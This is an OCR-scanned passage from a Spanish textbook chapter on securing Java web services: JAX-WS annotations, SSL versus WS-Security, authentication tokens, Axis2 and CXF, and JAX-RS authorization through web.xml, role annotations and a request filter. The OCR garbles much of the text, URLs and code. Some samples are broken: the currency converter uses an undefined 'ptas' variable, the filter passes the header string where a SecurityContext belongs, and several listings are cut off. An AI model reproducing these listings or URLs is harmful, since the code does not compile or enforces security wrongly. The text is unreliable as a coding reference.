a partir de su especilicacion WSDL, y obtener informacion como las operaciones
que podemos invocar en este servicio, los pardmetros gque deberemos proporcionar a
cada una de ellas, y el tipo de datos resultante que nos devuelven.

De esta forma podremos realizar la integracion de la aplicacidén en tiempo
de ejecucidn, yva gque no serd necesario indicar al programa cémo debe acceder a un
servicio, ni los métodos a los que debe llamar, sino que el programa serd capaz de
determinar esta informacion analizando la especificacién WSDL del servicio,

Para mds informacion se puede consullar la web:

http:folex openlogic com/packages/wsdl4f

3.6 IMPLEMENTACION DE LOS SERVICI0S WEB EN JAVA

Para invocar Servicios Web desde Java contamos con la APL JAX-WS.
Con esta libreria podremos gjecutar procedimientos de forma remota, simplemente
haciendo una llamada a dicho procedimiento, sin tener que introducir apenas codigo
adicional. Serd JAX-WS quien se encargue de gestionar internamente la conexion
con el servicio ¥ el manejo de los mensajes SOAP de llamada al procedimiento y de
respuesta. Podemos encontrar las clases de la API de JAX-WS dentro del paguete
javax.xmlws v en sub-paquetes de este.

En las aplicaciones basadas en JAN-RPC/WS encontramos los siguientes
elementos:

F Servicio: Elemento del servidor que implementa la funcionalidad de
nuestro servicio.

F Cliente: Aplicacion cliente que invoca los métodos del servicio remoto.
La localizacion del servicio serd transparente para el desarrollador de esta
aplicacion, que invocard los métodos del servicio de la misma forma que
si este fuese local.
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¥ Stub: Capa en el cliente que implementa la interfaz del servicio, y
utiliza internamente JAX-RPC/WS para construir los mensajes SOAP
necesarios para invocar cada método de la interfaz, v para leer el mensaje
de respuesta que recibamos. Este stub serd el sustituto del servicio en
el lado del cliente, la aplicacion cliente ¢jecutard en él los métodos que
ofrece el servicio, haciendo de esta forma transparente la localizacion del
servicio para ella,

¥ Tie: Capa en el servidor gque decodificard los mensajes SOAP entrantes
con destino a nuestro servicio, y leerd de ellos el méodo que se quiere
invocar y los pardmetros de entrada que se proporcionan. Esta capa
accederd al componente que implementa nuestro servicio, gjecutando
dicho método en él. Una vez obtenido el resultado, generard un mensaje
SOAP de respuesta v lo devolverd al cliente.

F JAX-RPC/WS: Libreria gue nos permitird analizar y componer mensajes
SOAP, v enviarlos a través de protocolo HTTPE. Ademds, proporciona
listeners v servlets que permanecerdn a la escucha en el servidor para
recibir mensajes entrantes de peticiones a los servicios. Una vez recibida
una peticion, utilizard la capa Tie del servicio correspondiente para
invocarlo, proporciondndole a esta capa el mensaje SOAP entrante. A
diferencia de las capas anteriores, que son especificas para un servicio
concreto, la libreria JAX-RPC/WS es genérica, nos servird para cualguier
servicio web SOAP.

Cliente Serdcio
ap

JAXRPC i JAXRPC

Rurtime HTTE Runtirme

Figura 3.6. Arquitectura JAX-RPC

Las dnicas capas que debemos implementar nosotros son el Cliente y el
Servielo. En la implementacidn de estos componentes el uso de la librerfa JAX-RPC/
WS serd totalmente transparente para nosotros. Mo hard falta que introduzeamos
codigo JAX-RPC/WS dentro de ellas. En el servicio simplemente implementaremos



@ RA-MA Capitulo 3. PROGRAMACION SEGURA EN SERVICIOS WEB 123

los métodos que queremos que ofrezca nuestro servicio, como si se tratase de
cualquier clase Java, y en el cliente podremos invocar los métodos de este servicio
como si invocisemos directamente los métodos de la clase Java.

36.1 Tipos de datos

Cuando trabajamos con JAX-WS, los tipos de datos que podremos utilizar
como tipo de los pardmetros y de valor de retorno de los métodos de nuestro servicio
seran los tipos soportados por JAXB. Podremos utilizar cualquiera de los tipos
bdsicos de Java:

Ademis, también podremos utilizar cualquiera de los wrappers de estos
tipos basicos:

Las siguientes clases de Java también son aceptadas como tipos vilidos por
JAX-WS:
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Ademas de estos datos, se permitird el uso de coleceiones cuyos elementos
podrin ser de cualquiera de los tipos admitidos. Estas colecciones podrin ser arrays,
tanto unidimensionales como multidimensionales, o clases del marco de colecciones
de Java:

Listas: List
Arraylist
LinkedList
Stack

Vector
Mapas: Map
HashMap
Hashtable
Properties
TreeMap
Conjuntos: 5Set
HashSet

Treeset

Las clases desarrolladas por nosotros también podrin ser usadas si cumplen
ciertas condiciones:

¥ Debe tener al menos un constructor piblico sin pardmetros,
¥ No debe implementar la interfaz RMI java.rmi.Remote.

F Todos sus campos deben ser tipos soportados por JAX-WS. Eslos campos
pueden ser pablicos, protegidos o privados, Para que JAX-WS sea capaz
de leer o establecer los valores de estos campos deberd cumplirse que:

¥ Los campos publicos no deben ser ni final ni transient.

F Los campos no publicos deben tener sus correspondientes getters y
setlers.

36.2 Anotaciones

Podemos especificar la forma en la gque se crea el servicio mediante diferentes
anolaciones. Las principales anotaciones disponibles son:
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@ WebResult

' WebhService

@wSOAPBinding

' WebMethod

@ Oneway

fm'WebParam
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Permite indicar el nombre que recibird el mensaje de respuesia en el
fichero WSDL:

[ WebMethod(operationName="conversorEnro™)

i WebResultiname="ResultEurns™,
targetNamespace="hitp://conversor euros™)

public int Dollar2Eura{double dollar) |

;

Indica que la clase define un servicio web. Se pueden especificar como
pardmetros los nombres del servicio, del puerto, ¥ de su espacio de
nombres, gue figuraran en el documento WSDL del servicio:

[ WehService(name="ConversionPor Type”,
serviceMName="ConversionService”,
targetiNamespace="hitp://conversor.euros’)

Permite especificar el estilo v la codificacion de los mensajes S0AP
utilizados para invocar el servicio. Por ejemplo:
ESOAPBinding(style=SOAPBinding. Style. DOCUMENT,
use=S0APRinding Use LITERAL,
parameterStyle=SOAPBinding. ParameterStyle. WRAPPED)

Indica gue un determinado método debe ser publicado como operacidn
del servicio. 51 no se indica para ningin método, se considerara que deben
ser publicados todos los métodos pablicos. 51 no, solo se publicarin los
metodos indicados.

Ademis, de forma opcional se puede indicar como parametro el nombre
con el gue queramos que aparezca la operacion en el documento WSDL:
[ WebMethod{operationName="conversorEnro™)

public int Dollar2Eura{double dollar) |

i

Indica que la lamada a la operacidon no debe esperar ninguna respuesta.
Esto solo lo podremos hacer con métodos que devuelvan void. Por
ejemplo:

i Omeway()

(e Webhdethod( )

public void publicarMensajel String mensaje)

(]

Permite indicar el nombre gue recibirin los parimetros en el fichero
WSDL:

WebMethod{operationName="conversorEnra™)

publiic mt euro2Dollan

(! WebParaminame="CantidadEuros™,
targetiNamespace="hitp://conversor.euros’)

double eurns) |

i
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Para implementar los servicios deberemos crear una clase Java con
anotaciones de la APl Web Services Metadata for the Java Platform (JSR-181). La
APl Web Services Metadata for the Java Platform viene a estandarizar la forma en la
que se definen los Servicios Web en Java.

Para crear la clase que implemente el servicio deberemos crear una clase
con un constructor sin pardmetros (si no se crea ningln constructor por defecto la
clase tendrd un constructor sin parimetros vacio), v con al menos la anotacidon @
WebService. Los métodos piblicos que definamos en esta clase serdn por delecto
las operaciones que ofrecerd el servicio y serdn anotados con @ WebMethod. Por
gjemplo, podemos implementar un servicio que permita converlir euros a dolar y
vicecersa comao:

package service.conversion;

import javax.jws.WebService;

fiWebService

public class ConversorSW {

fiWebMeathod

public double eurc2bDollar{double euro) {
return (int) (euroc * 1.3E);

}

iWebMeathod

public double dollar2Euro{double dollar) {
return [ {double) ptas) [ 1.38;

}

}

3.7 SERVICIOS WEB AVANZADDS

Vamos a ver una serie de caracteristicas avanzadas de los Servicios Web
SOAP dirigidas a mejorar su calidad, lo que se conoce como Quality of Service (QoS).
Estas caracteristicas vendrin dadas por tecnologias de segunda generacidn, que se
afiaden a los lenguajes SOAP y WSDL para dotarlos de capacidades adicionales.

3.1.1 Optimizacion de mensajes

Cuando hablamos de optimizacion de mensajes nos referimos a conseguir
que los mensajes sean enviados de forma eficiente a través de la red. En los servicios
SOAP los mensajes son documentos XML que requieren una gran cantidad de
informacidn para cumplir con el estindar. Es decir, no tenemos Gnicamente los datos
que nos interesa comunicar, 3ino que estos datos se ven envueltos por varias etiquetas
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XML con informacion sobre el nombre de la operacion, el espacio de nombres en el
que se encuentra, las distintas partes del documento SOAP, ete.

Toda esta informacion transmitida como texto en formato XML podria ser
codificada en otros formatos méas compactos, para de esta forma ganar eficiencia
en su transmision a través de la red. Esto es precisamente en lo que consiste la
oplimizacion de mensajes.

Un caso en el gue la transmision en XML resulta especialmente poco
eficiente es en el que tratamos con un volumen elevado de datos binarios. Para
poder incluir informacién binaria en un mensaje de texto podriamos utilizar una
codificacion como base6d, que transforme la informacion binaria a un conjunto de
caracteres imprimibles, el problema gue tendriamos es que el contenido ocuparia un
espacio bastante mayor.

Podemos optimizar ¢l envio de datos binarios mediante mecanismo como
MTOM (Message Transmission Optimization Mechanism). Este mecanismo de
oplimizacion de mensajes SOAP permite enviar los datos binarios como un anexo
al mensaje, en lugar de enviarlo dentro del mismo texto. De esta forma los datos
binarios se pueden enviar en su formato original, sin necesidad de convertirlos a
texto.

3.1.2 Servicios web seguros

Entre los distintos mecanismos para dotar de seguridad a los servicios web
podemos destacar:

F Cifrado con elave simétrica: Se utiliza una misma clave para cifrar y
descifrar los datos. En este caso esa clave debe ser conocida por los dos
extremos de la comunicacion.

F Cifrado con clave asimétrica: Se ticnen dos claves, una publica v otra
privada. La clave piablica puede ser difundida, pero la privada nunca se le
comunicard a nadie. Lo que se cifra con la clave piblica, solo puede ser
descifrado con la privada, ¥ viceversa. Por lo tanto, si queremos que los
datos que nos envien vengan cilrados, deberemos proporcionar nuestra
clave piblica al otro extremo de la comunicacion, el emisor en este
caso, que utilizard la clave para cifrar los datos y envidrnoslos. Nosotros
podremos descifrarlos con nuestra clave privada, que nunca habremos
entregado a nadie.
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¥ Huella digital: Consiste en un codigo de una determinada longitud
generado a partir de un documento mediante un algoritmo conocido
como digest, como por gjemplo MD5 o SHAL. Dos documentos exactos
tendran la misma huella, pero cualguier pequefio cambio que se produzea
alterard fuertemente dicha huella. Una misma huella podria corresponder
a varios documentos diferentes.

F Firma digital: Consiste en cifrar la huella de los datos que estamos
enviando mediante nuestra clave privada. El receptor de dicho documento
podrd recuperar la huella descifrindola mediante nuestra clave plablica,
pero nunca podrd generar una nueva firma ya que no cuenta con nuestra
clave privada. Una vez descifrada la huella, podrd generar la huella de
los datos recibidos y comprobar si coincide con la que le enviamos. Esto
le garantizard que los datos no hayan sido modificados por nadie més a
parte de nosotros, ya que somos los nicos gue tenemos en nuestro poder
la clave privada necesaria para firmarlos.

¥ Certificado digital: Un certificado digital relaciona una clave publica
con una determinada entidad. Es un documento en el que figuran los
datos de la entidad vy su clave piblica (necesaria para poder validar los
datos recibidos de dicha entidad, o para enviarle informacidon propia
cifrada). Ademas, dicho certificado habra sido emitido por una Autoridad
Centificadora (CA), v estara firmado por ella, para asi poder confiar en su
autenticidad. El protocolo mas utilizado para certificar es el X.509.

F Certificado rafz: Son los certificados correspondientes a las CAs, que
contienen la clave publica necesaria para validar los certificados emitidos
por ellas. Son un caso especial de certificados, ya que representan a la
misma entidad que los ha emitido, por lo que no hay forma de validarlos,
estos certificados se presuponen vilidos. Suelen venir ya instalados en las
aplicaciones o dispositivos que utilizamos para coneclarnos, como son
los navegadores web o dispositivos mdviles.

3.1.3 CGonfidencialidad e integridad

Cuando un cliente utiliza un Servicio Web, debera enviarle un mensaje a
este servicio a través de la red, v el servicio le responderd mediante otro mensaje.
Estos mensajes contendrin informacién que puede ser confidencial. En los casos
en los que estemos transmitiendo informacion sensible en la invocacion al servicio,
deberemos contar con métodos para cifrar estos datos.

Dado que estos mensajes se envian mediante protocolo HTTP, al igual que
en el caso de las aplicaciones web podran ser encriptados mediante S5L (HTTPS),
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evitando de esta forma que puedan ser leidos o modificados por un tercero. El
protocolo 551 en lineas generales consiste en los siguientes pasos:

El cliente negocia con el servidor una clave simétrica para cifrar la
informacion (handshake). Esta negociacion se hace utilizando la clave piblica del
certificado del servidor (el cliente obtiene la clave piblica del certificado del servidor,
genera una clave simétrica para la sesidn, v se la envia cifrada al servidor mediante
su clave pilblica). De forma opeional, el cliente podria autenticarse mediante su
propio certificado si fuese necesario.

En aplicaciones en las que el mensaje deba atravesar una cadena de nodos
intermedios, este mensaje deberd desencriptarse v volverse a encriplar entero en
cada uno de estos servicios, por lo que los datos estardn inseguros dentro de cada
nodo. Es decir, S5L nos proporciona seguridad a nivel de transporte, pero una vez
el mensaje hayva llegado a un nodo se decodificard completamente, quedando asi
expuesto en su totalidad.

Esto nos puede plantear un problema cuando el mensaje contenga
informacion destinada a diferentes servicios, ¥ no queramos que desde uno de ellos
se pueda acceder a informacion dirigida a los demads,

Este problema se puede solucionar cifrando por separado cada elemento del
mensaje, ¥ permitiendo que cada nodo descifre solo la parte del mensaje que le atafie,
pero que no pueda acceder al resto de elementos del mensaje que no le conciernen.
Esto es lo que se conoce como seguridad a nivel de mensaje.

De esta forma, encontramos dos formas para cifrar y firmar la informacion
intercambiada en la invocacion del servicio:

Seguridad a nivel de transporte Seguridad a nivel de mensaje
Se implementa mediante SSL Especificacion WS-Security
Es dependiente del protocelo de transporte Es independiente del protocolo de transporte
Resulta mis eficiente Thiete mayor coste

Se puedes aplicar & cualquier servicio accesible Requizre soporte WS-Security
mediante HTTP

Se protege el mensaje HTTP completo soloen  Se protegen parte determinadas del mensaje

su transmision por la red. hasta la llegada al endpoint
Si el cliente debe autenticarse mediante La autenticacidin del cliente serd vilida para
certificado, solo podri hacerlo ante el primer todos los destinatarios

intermediario
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3.7.4 Autenticacion en servicios web

Puede que necesitemos identificar a un usuario para prestarle un determinado
servicio, o bien para saber si tiene autorizacion para acceder a dicho servicio.

Para identificar al usuario podemos simplemente solicitar un login v
password. En general, lo que haremos serd proporcionar al servicio un feken con el
que se identificard al cliente, Encontramos los siguientes tipos de tokens:

F Username token: Consiste en un login v un password.

¥ SAML token: Un token SAML (Security Assertion Markup Language)
estd basado en XML y nos permitird intercambiar informacion de
autenticacion y autorizacion,

¥ X.509 token: Se autentica al cliente mediante un certificado digital de su
propiedad.

Al aplicar la autenticacion a servicios web, al igual que en el caso anterior,
también encontramos un problema. Si necesitamos invoear un conjunto de servicios,
deberemos autenticarnos por separado para cada uno de ellos, ya que pueden estar
distribuidos en distintos servidores a través de Internet. Para solucionar este problema,
deberiamos contar con un contexto compartido global (gestor de identidades) de
donde cualguier servicio pudiese obtener esta informacion de autenticacion, y de
esta manera no tener que autenticarse por separado con cada servicio individual.
Esto es lo que se conoce como Single Sign On (550).

3.8 FRAMEWORKS JAVA PARA SERVICIOS WEB SEGURDS

3.8.1 Axis 2

Axis 2 es un proyecto de Apache que proporciona un mecanismo muy
sencillo para el despliegue de servicios. Cuenta con un entorno de ejecucion de
servicios que puede ser instalado como una aplicacion web en cualquier servidor de
aplicaciones Java EE, que actuard como contenedor de servicios weh.

Dentro de este contenedor podremos desplegar servicios de forma muy
sencilla, como médules independientes empaquetados en ficheros aar. Esto hace que
desplegar v configurar servicios Axis 2 sea una tarea muy sencilla, independiente
del servidor de aplicaciones utilizado. Axis 2 utiliza AXIOM (Modelo de Objetos
Axis), un modelo de objetos de peso ligero para procesar XML, que se basa en StAX
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y ofrece caracteristicas que lo mejoran. Axis2 puede ser utilizado para desarrollar,
servicios web basados en los estilos SOAP vy RESTTul. Ademads, soporta la invocacion
asincrona de Servicios Web, que se implementa mediante los mecanismos de
devolucion de lamada callbacks.

El procedimiento de instalacién por defecto de Axis2? consiste en desplegar
un fichero WAR (Web Archive). 51 utillizamos Tomcat como contenedor de
aplicaciones, bastaria con copiar dicho archivo en el directorio CATALINA HOME/
webapps. Esto desplegard la aplicacion web “Axis2” (Administracion de Axis2)
permitiendo la configuracién de servicios ¥ modulos. El fichero war se puede
descargar desde la pdgina del proyecto apache:

hitps:Aaxis.apache org/axis 2ava/core/download htm!

3.8.2 CXF

Este framework es también un provecto de Apache, pensado para integrarse
con olros sistemas. Utiliza el framework de Spring, y cuenta tanto con una API
propietaria para ¢l desarrollo de servicios web como con el estindar JAX-WS.

Mientras Axis 2 produce servicios altamente modulares que se despliegan de
forma independiente, CXF nos permitird tener los servicios integrados en aplicaciones
existentes, estando especialmente preparados para el framework Spring.

Toda la documentacion esta disponible en la paging oficial del provecto
apache: hitps Vexfapache. org!

3.8.3 JAX-WS

API Java para XML y Servicios Web, una de las principales ventajas
de esta libreria es que es la implementacion de referencia que estd incluida en
las especificaciones Java SE 6 y Java EE 5. Por lo tanlo, no requiere de ninguna
biblioteca externa para su uso. En cuanto al modelo de enlace de datos (data binding
model) utiliza JAXB, mientras que StAX (Streaming API for XML) es el analizador
sintdctico de XML.

JAX-WS soporta los protocolos de comunicacion SOAP vy REST y promueve
el uso de anotaciones v es compatible con varios protocolos de transporte, mds alld
del HTTP como SMTP y IMS.

Toda la documentacion esta disponible en la paging oficial del provecto
apache: hitps fax-ws java.net!
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3.9 SEGURIDAD EN API REST CON JAVA JAX-RS

El objetivo de este punto es aprender a construir APls REST de forma segura
utilizando la tecnologia Java JAX-RS.

Es importante que los servicios REST permitan un acceso seguro a los datos
y funcionalidades que proporcionan. Especialmente para servicios que permiten
la realizacion de actualizaciones en los datos. También es interesante asegurarnos
de que terceros no lean nuestros mensajes, ¢ incluso permitit que ciertos usuarios
accedan a determinadas funcionalidades, pero a otras no.

Ademis de la especificacion JAX-RS, podemos aprovechar los servicios de
seguridad que nos ofrece la web y Java EE, y utilizarla en nuestros servicios REST.

Autenticacidn: Hace referencia a la validacion de la identidad del cliente
que accede a los servicios. Normalmente implica la comprobacion de si el cliente ha
proporcionado unas credenciales validas, tales como el password. En este sentido,
podemos utilizar los mecanismos que nos proporciona la web, y las facilidades del
contenedor de servleis de Java EE, para configurar los protocolos de autenticacion.

Autorizaecidn: La autorizacion hace referencia a decidir si un cierto usuario
puede acceder e invocar un determinado método sobre una determinada URL Por
ejemplo, podemos habilitar ¢l acceso a operaciones PUT/POST/DELETE para
ciertos usuarios, pero para otros no. En este caso, utilizaremos las facilidades que
nos proporciona el contenedor de servlets de Java EE, para realizar autorizaciones.

Encriptado: Cuando un cliente estd interaccionando con un servicio REST,
es posible que alguien intercepte los mensajes v los “lea”, si la conexion HT'TP no es
segura. Los datos “sensibles”™ deberian protegerse con servicios criptogrificos, tales
como SSL.

39.1 Autenticacion en JAX-RS

Hay varios protocolos de autenticacidon. En este caso, vamos a ver cdmo
realizar una autenticacidon basica sobre HTTP. Este tipo de autenticacidén requiere
enviar un nombre de usuario v password, codificados como Base-64, en una cabecera
de la peticidn al servidor. El servidor comprueba si existe dicho usuario en el sistema
y verifica el password enviado.

Supongamos que un cliente no autorizado guiere acceder a nuestros servicios
REST, para ello realiza la peticion: GET Jcustomers/ HTTP/A 1
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Ya que la peticion no contiene informacion de autenticacion, el servidor
deberia responder indicando que no estd autorizado (401 Unauthorized):

HTTE/1.1 481 Unauthorized
Wl -Autenticate: Basic realm="Cliente Realm™

La respuesta 401 nos indica que el cliente no estd autorizado a acceder a
dicha URL La cabecera WW W-Autenticate especifica qué protocolo de autenticacion
se deberia usar. En este caso estamos utilizando una autenticacion de tipo Basic, El
atributo realm identifica una coleccion de recursos seguros en un sitio web. En este
ejemplo, indica que solamente estan autorizados a acceder al método GET a través
de la URI anterior, todos aquellos usuarios que pertenezean al realm Cliente Realm,
y serdn autenticados por el servidor mediante una autenticacion bésica,

Para poder realizar la autenticacion, el cliente debe enviar una peticidon que
incluya la cabecera Authorization, cuyo valor sea Basic, seguido de la siguiente
cadena de caracteres login:password codificada en Base64d. Por ejemplo, supongamos
que el nombre del usuario es wser v el password es passwd, la cadena user:passwd
codificada como Basefd es dXNlejpw¥ XNzd2Q=. Por lo tanto, nuestra peticion
deberia ser la siguiente:

GET Sfcustomers/ HTTP/1.1
Authorization: Basic dEMlcipwyYibzdiQ=

El cliente deberia enviar esta cabecera con todas v cada una de las peticiones
que haga al servidor.

El inconveniente de esta aproximacion es si la peticion es interceptada por
alguna entidad “hostil” en la red, el hacker puede obtener ficilmente el usuario v el
password vy utilizarlos para hacer sus propias peticiones, Utilizando una conexion
HTTP encriptada (HTTPS), se soluciona este problema.

39.2 Autorizacion en JAX-RS

Mientras que la autenticacion hacer referencia a establecer y verificar la
identidad del usuario, la autorizacion tiene que ver con los permisos. (El usuario X
estd aulorizado para acceder a un determinado recurso REST?

JAX-RS se basa en las especificaciones Java EE v de servlets para definir la
forma de autorizar a los usuarios, En Java EE, la autorizacion se realiza asociando
uno o mas roles con un usuario dado v, a continuacion, asignando permisos basados
en dicho rol. Ejemplos de roles pueden ser: administrador, empleado. Cada rol tiene
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asignando unos permisos de acceso a determinados recursos, por lo que asignaremos
los permisos utilizando cada uno de los roles.

Volvamos a nuestra aplicacion de venta de productos por internet. En esta
aplicacion, es posible crear nuevos clientes enviando la informacion en formato
XML a un recurso JAX-RS localizados por la anotacion Path(*/customers™). El
servicio REST es desplegado v escancado por la clase Application anotada con
mApplication Path(*/services™), de forma que la URL completa es /services/
customers. Queremos proporcionar seguridad a nuestro servicio de clientes de forma
que solamente los administradores puedan crear nuevos clientes.

Para poder realizar la autorizacién, tendremos que incluir determinadas
etiquetas en el fichero de configuracion web.xml de nuestro proyecto.

<*xml version="1.@"¢>

<web-app>

isecurity-constraint:
iweb-resource-collections
iweb-resource-namercustomer creation</web-resource-names
‘url-pattern:/services/customers<furl-pattern>
thttp-method:POST</http-method>

< fweb-resource-collections

<auth-constraint>

<role-nameradming/role-name:>
<fauth-constraint>

<fsecurity-constraints

<login-config:

cauth-method:BASIC fauth-method>
<realm-name:>jaxrs</realm-name:

<flogin-configs

isecurity-roles

<role-nameradming/role-name:

tfsecurity-roler

</web-app>

Especificamos qué roles tienen permiso paraacceder mediante POSTala URL
fservices/customers. Para ello utilizamos el elemento <auth-constraint= dentro de
<security-constraint>. Este clemento tiene uno o mas subelementos <role-name=,
gue definen qué roles tienen permisos de acceso definidos por <security-constraint>.

En el fichero web.xml definido, estamos dando al rol admin permisos para
acceder a la URL /services/customers/ con el método POST, Sien su lugar indicamos
un <role-name> con ¢l valor *, cualquier usuario podria acceder a dicha URL. En
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otras palabras, un <role-name> con el valor \* significa que cualguier usuario gue
sea capaz de autenticarse, puede acceder al recurso.

Para cada <role-name> gque usemos en nuesiras declaraciones <auth-
constraints>, debemos definir el correspondiente <security-role> en el descriptor de
desplicgue.

Una limitaciém cuando estamos declarando las <security-conlraints™> para
los recursos JAX-RS es que el elemento <url-pattern> solamente soporta el uso de *
en el patrdn URL especificado. Por ejemplo: A%, frest/®, \* 1xt,

3.9.3 Encriptacidn

Por defecto, la especificacion de servlets no requiere un acceso a través de
HTTPS. 51 queremos forzar un acceso HTTPS, podemos especificar un elemento
<user-data-constraint> comao parte de nuestra definicion de restriceiones de seguridad
(<security-constraint=), Vamos a modificar nuestro ¢jemplo anterior para forzar un
acceso a traveés de HTTPS:

tweb-app»
csecurity-constraints

<web-resource-collections
<web-respurce-namesxcreacion de clientes</web-resource-name:
turl-pattern:/services/customers</url-pattern:
thttp-method>POST«</http-method>

</web-resource-collection:

cauth-constraint:
<role-nameradming/role-namex

<fauth-constraint:

cuser-data-constraints
ttransport-guarantee>CONFIDENTIAL«/transport-guarantee»

cfuser-data-constraints

¢/security-constraints

</web-app>

Todo lo que tenemos gue hacer es declarar un elemento <transport-
guarantee> dentro de <user-data-constraint> con el valor CONFIDENTIAL. Si un
usuario intenta acceder a una URL con el patrdn especificado a través de HTTP, serd
redirigido a una URL basada en HTTPS.
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Anotaciones JAX-RS para autorizacion

Java EE define un conjunto de anotaciones para definir metadatos de
autorizacion. La especificacion JAX-RS sugiere que las implementaciones por
diferentes proveedores den soporte a dichas anotaciones. Estas se encuentran en
el paquete javax.annotation.security vy son: @RolesAllowed, @DenvAll, @
PermitAll, v (@ RunAs.

La anotacion (@ RolesAllowed define los roles permitidos para ejecutar una
determinada operacion. Si anotamos una clase JAX-RS, define el acceso para todas
las operaciones HTTP definidas en la clase JAX-RS. 51 anotamos un método JAN-
RS, la restriccion se aplica solamente al método que se estd anotando.

La anotacion (@ PermitAll especifica que cualguier wsuario autenticado
pucde invocar a nuestras operaciones. Al igual que @ RolesAllowed, esta anotacion
pucde usarse en la clase, para definir el comportamiento por defecto de toda la clase,
o podemos usarla en cada uno de los métodos.

@Pathi(”fcustomers™)
@RolesAllowed ({“ADMIN™, "CLIENTE*})
public class CustomerService {
BGET
geath{™{id}"}
@Produces{“application/xml™}
public Customer getCustomer{@PathParam{“id™)} int id) {...}
@folesAll owed ("ADMIN™)
geosT
@Consumes{“application/xml™}
public woid createCustomer(Customer customer) {...}
@EPermitall
BGET
@Produces{“application/xml™}
public Customer[] getCustomers() {}

En el egjemplo  anterior, al definir (@ RolesAllowed({“ADMIN",
“CLIENTE"}) solamente los usuarios con rol ADMIN y CLIENTE pueden egjecutar
los méiodos HTTP definidos en la clase CustomerService.

Para el método ereateCustomer() solamente permitimos peticiones de
usuarios con rol ADMIN{@ RolesAllowed(“ADMINT))

Para el método getCustomers() cualquier usuario antenticadof (@ PermitAll)
puede acceder a esta operacion a través de la URIL correspondiente, con el método
GET,
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La ventaja de utilizar anotaciones es gue nos permite una mayor flexibilidad
que el uso del fichero de configuracion web.xml, pudiendo definir diferentes
autorizaciones a nivel de método.

3.9.4 Seguridad programatica

Hemos visto edmo utilizar una seguridad declarativa, es decir, basindonos
en metadatos definidos estaticamente antes de gue la aplicacidn se ejecute. JAX-
RS proporciona una forma de obtener informacién de seguridad que nos permite
implementar seguridad de forma programdtica en nuestras aplicaciones,

Podemos utilizar la  interfaz  javax.ws.rs.core.SecurityContext para
determinarlaidentidad del usuario que realiza lainvocacional método proporcionando
sus credenciales, También podemos comprobar si el usuario perlenece 0 no a un
determinado rol. Esto nos permite implementar seguridad de forma programada en
nuestras aplicaciones.

public interface SecurityContext {
public Principal getUserPrincipal();
public boolean isUserInficle(5tring role};
public boolean isSecure()};
public String getAuthenticationScheme();

El método getUserPrincipal() devuelve un objeto de tipo javax.security.
Principal, que representa al usuario que actualmente estd realizando la peticion
HTTP

El método isUserlnRole() nos permite determinar si el usuario que realiza la
llamada actual pertenece a un determinado rol.

El método isSecurel() devuelve cierto si la peticion actual es una conexion
SCUUra.

El método getAuthenticationScheme() nos indica qué mecanismo de
autenticacion se ha utilizado para asegurar la peticion (valores tipicos devueltos por
el método son: BASIC, DIGEST, CLIENT CERT, v FORM).

Podemos acceder a una instancia de SecurityContext inyectdndola en un
campo, método selter, o un parametro de un recurso, utilizando la anotacidn @
Context. Veamos un gjemplo. Supongamos que gueremos oblener un fichero de log
con todos los accesos a nuestra base de datos de clientes hechas por usuarios que no
son administradores:
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@Path(”fcustomers™)
public class CustomerService {
BGET
@Produces(“application/xml™)
public Customer[] getCustomers{@Context SecurityContext sec) {
if (sec.isSecure() L& l!sec.isUserInfiole(™ADMIN™)) {
logger.log(sec.getUserPrincipal() +

" ha accedido a la base de datos de clientes™);

En este ¢jemplo, inyectamos una instancia de SecurityContext como un
pardimetro del método getCustomers(). Utilizamos el método SecurityContext.
is85ecure() para determinar si se trata de una peticidn autenticada. A continuacidn,
utilizamos el método SecurityContext.isUserlnRole() para determinar si el usuario
que realiza la llamada tiene el rol ADMIN o no. Finalmente, imprimimos ¢l resultado
en nuestro fichero de log.

Con la introduccion del APL de filtros en JAX-RS 2.0, podemos implementar
la interfaz SecurityContext y sobreescribir la peticion actual sobre SecurityContext,
utilizando el método ContainerRequestContexLsetSecurityContext(). Lo interesante
de esto es que podemos implementar nuestros propios protocolos de seguridad. Por
gjemplo:

import javax.ws.rs.contaimer.ContainerReguestContext;
import javax.ws.rs.contaimer.ContainerRequestFilter;
import javax.ws.rs.contaimer.PreMatching;
import javax.ws.rs.core.SecurityContext;
import javax.ws.rs.core.HttpHeaders;
@PreMatching
public class CustomAuth implements ContainerRequestFilter {
protected MyCustomerProtocolHandler customProtocol;
public woid filter({ContainerRequestContext requestContext)
throws I0Exception {
String authHeader = request.getHeaderString{HttpHeaders.AUTHORIZATION) ;
SecurityContext newSecurityContext = customProtocol.validate(authHeader);
requestContext.setSecurityfontext{authHeader);

En este filtro extraemos la cabecera Authorization de la peticion vy la pasamos
a nuestto propio servicio customerProtocol. Este devuelve una implementacion
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de SecurityContext. Finalmente, sobreescribimos el SecurityContext por defecto
utilizando la nueva implementacion.

En este efemplo, vamos a realizar una aplicacion con un servicio REST
mediante JAX-RS y el framework Jersey.Jersey es un framework para el
desarrollo de servicios rest en Java https:/ferseyvjova net!

El servicio permite realizar consultas v modificaciones sobre los clientes que
tengamos registrados en la base de datos. Por simplificar, vamos a usar un listado de
objelos customer.

Customer.java
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CustomerService.java
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Customer updatedfustomer = new Customer();
if{customer.getlame(} == null) {

return Response.status{48@).entity(“provide customer name®).build()};

1
updatedCustomer.
updatedCustomear .
return Response.
1

@OELETE
@Path(™/{id}™"})
public Response
{

return Response.
1

}

setId({id);
setName(customer. getName() ) ;
ok{).entity({updatedCustomer).build(};

deleteCustomerByld(@PathParan({™id") Integer id)

status(2821).entity(“Customer deleted successfully !17).build();

Construyvendo nuestro filtro de autenticacion

Contruimos una clase que actie a modo de filtro para validar que el usuario
tiene los permisos adecuados para realizar la peticion. Para ello, nos basamos en la

especificacion JAX-RS 2.0 a traviés de la interfaz ContainerRequestFilter.

Con este filoro obtendremos detalles del método al cudl estd intenando
acceder la solicitud. Aqui podemos hacer comprobaciones relacionadas si el método
que se estd lamando tiene alguna de las siguientes anotlaciones (@ PermitAll, (@
DenvAll @ RolesAllowed.

AuthenticationFilter. java

package com.jax.

security;

import jawva.lang.reflact.Method;

import java.util.Arrays;

import java.util.HashSet;

import java.util.lList;

import java.util.Set;

import java.util.StringTokenizer;

import javax.annotation.security.Denyall;

import javax.annotation.security.Permitall;

import javax.annotation.security.RolesAllowed;

import javax.ws.
import javax.ws.
import javax.ws.

import jawvax.ws.

rs.container.Containerkeguestlontext;
rs.container.Resourcelnfo;
rs.core.Context;

rs.core.MultivaluedMap;
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import javax.ws.rs.core.Response;

import javax.ws.rs.ext.Provider;

import org.glassfish.jersey.internal.util.Base&d;

llf?#

* Filtro que comprueba si un determinado wsuario tiene acceso al serwvicio
iy

@Provider

